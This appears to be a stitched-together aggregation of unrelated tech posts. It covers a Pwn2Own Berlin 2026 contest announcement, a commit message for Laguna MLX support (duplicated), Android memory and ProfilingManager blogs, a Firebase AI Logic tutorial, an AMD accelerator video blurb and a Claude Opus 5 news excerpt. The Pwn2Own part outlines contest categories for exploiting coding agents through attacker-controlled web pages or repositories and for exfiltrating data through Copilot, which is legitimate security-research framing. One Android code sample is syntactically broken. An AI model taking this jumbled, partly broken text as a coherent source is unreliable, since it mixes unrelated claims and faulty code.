The post How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes appeared first on Towards Data Science.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

Back to top

Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

Back to top

Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

Back to top

The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

Back to top

Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

Back to top

The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

Back to top

AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

Back to top

The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

Back to top

The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

Back to top

Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.

Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and expert projections, selectively promote sensitive expert down projections, and emit per-tensor metadata for mixed quantization blobs.

Correct dense expert loading, BF16 source-layout handling, expert global-scale shapes and dtypes, routing-score scaling, and mixed-precision expert dispatch. Gate/up and down projections select quantized or dense execution independently so promoted BF16 down projections do not force quantized gate/up weights through the dense fallback.

Optimize the forward pass with compatible gate/up fusion, sorted standard GatherMM and GatherQMM operations for larger prefills, model-local mlx.Compile closures for elementwise MoE work, and cache-backed 512-token prefill chunks. This keeps the implementation on maintained MLX operations without custom kernels.

Add focused tests for Laguna configuration variants, quantization policy and metadata, dense and routed expert loading, mixed-precision dispatch, compiled-versus-eager parity, fused projections, routing, and prefill chunking.

• review comments and S 2.1 performance fixes

Address renderer/parser selection and mixed-precision expert quantization review feedback.

Keep Laguna weights resident on Metal to prevent repeated paging of its large, sparsely accessed expert buffers. Scope this policy to Laguna GPU execution.

Remove obsolete 512-token prefill chunking now that the runner's 2048-token path is faster.

• review comments addressed

• fix create

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Optimize image loading

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

• The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
• The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog

Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.

To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

• Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
• Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
• Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
• Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
• System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
• On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features: 

• Grounding answers in real-world context
• Routing requests dynamically between cloud and local execution using hybrid inference
• Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. 

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and  support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

• a museum assistant with web grounding
• hybrid restaurant review drafting
• hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as 

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. 

Grounding data is added to the context window to enable the model

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

• URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
• Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
• Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. 

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

• PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
• PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
• ONLY_ON_DEVICE: Restricts execution strictly to the device.
• ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. 

Hotel support chat messages are automatically translated to the user’s preferred language 

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

• Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
• On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
• Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions. 
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

AMD may have finally built a real challenger to NVIDIA’s AI empire. In this video, we break down the AMD Instinct MI400 series and the flagship MI455X AI accelerator, featuring 432GB of HBM4 memory, 19.6TB/s of memory bandwidth, up to 40 petaflops of FP4 compute, and an advanced chiplet architecture designed for next-generation AI training and inference. But AMD’s real weapon is bigger than one chip. The Helios rack-scale AI platform combines 72 MI455X GPUs with next-generation AMD EPYC “Venice” CPUs, massive HBM4 capacity, high-speed networking, ROCm software, and open technologies like UALink to challenge NVIDIA’s tightly integrated AI infrastructure. We also explore how AMD plans to compete with NVIDIA Vera Rubin, the importance of ROCm versus CUDA, and why major AI companies and cloud providers are increasingly looking for alternatives to NVIDIA. Could AMD finally turn the AI accelerator market into a real two-company war?

#AMD #NVIDIA #MI455X #AIChips #InstinctMI400 #Helios #ArtificialIntelligence

Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.

Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and expert projections, selectively promote sensitive expert down projections, and emit per-tensor metadata for mixed quantization blobs.

Correct dense expert loading, BF16 source-layout handling, expert global-scale shapes and dtypes, routing-score scaling, and mixed-precision expert dispatch. Gate/up and down projections select quantized or dense execution independently so promoted BF16 down projections do not force quantized gate/up weights through the dense fallback.

Optimize the forward pass with compatible gate/up fusion, sorted standard GatherMM and GatherQMM operations for larger prefills, model-local mlx.Compile closures for elementwise MoE work, and cache-backed 512-token prefill chunks. This keeps the implementation on maintained MLX operations without custom kernels.

Add focused tests for Laguna configuration variants, quantization policy and metadata, dense and routed expert loading, mixed-precision dispatch, compiled-versus-eager parity, fused projections, routing, and prefill chunking.

• review comments and S 2.1 performance fixes

Address renderer/parser selection and mixed-precision expert quantization review feedback.

Keep Laguna weights resident on Metal to prevent repeated paging of its large, sparsely accessed expert buffers. Scope this policy to Laguna GPU execution.

Remove obsolete 512-token prefill chunking now that the runner's 2048-token path is faster.

• review comments addressed

• fix create

The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.

The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.

"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."

How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models

On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.

The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.

The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.

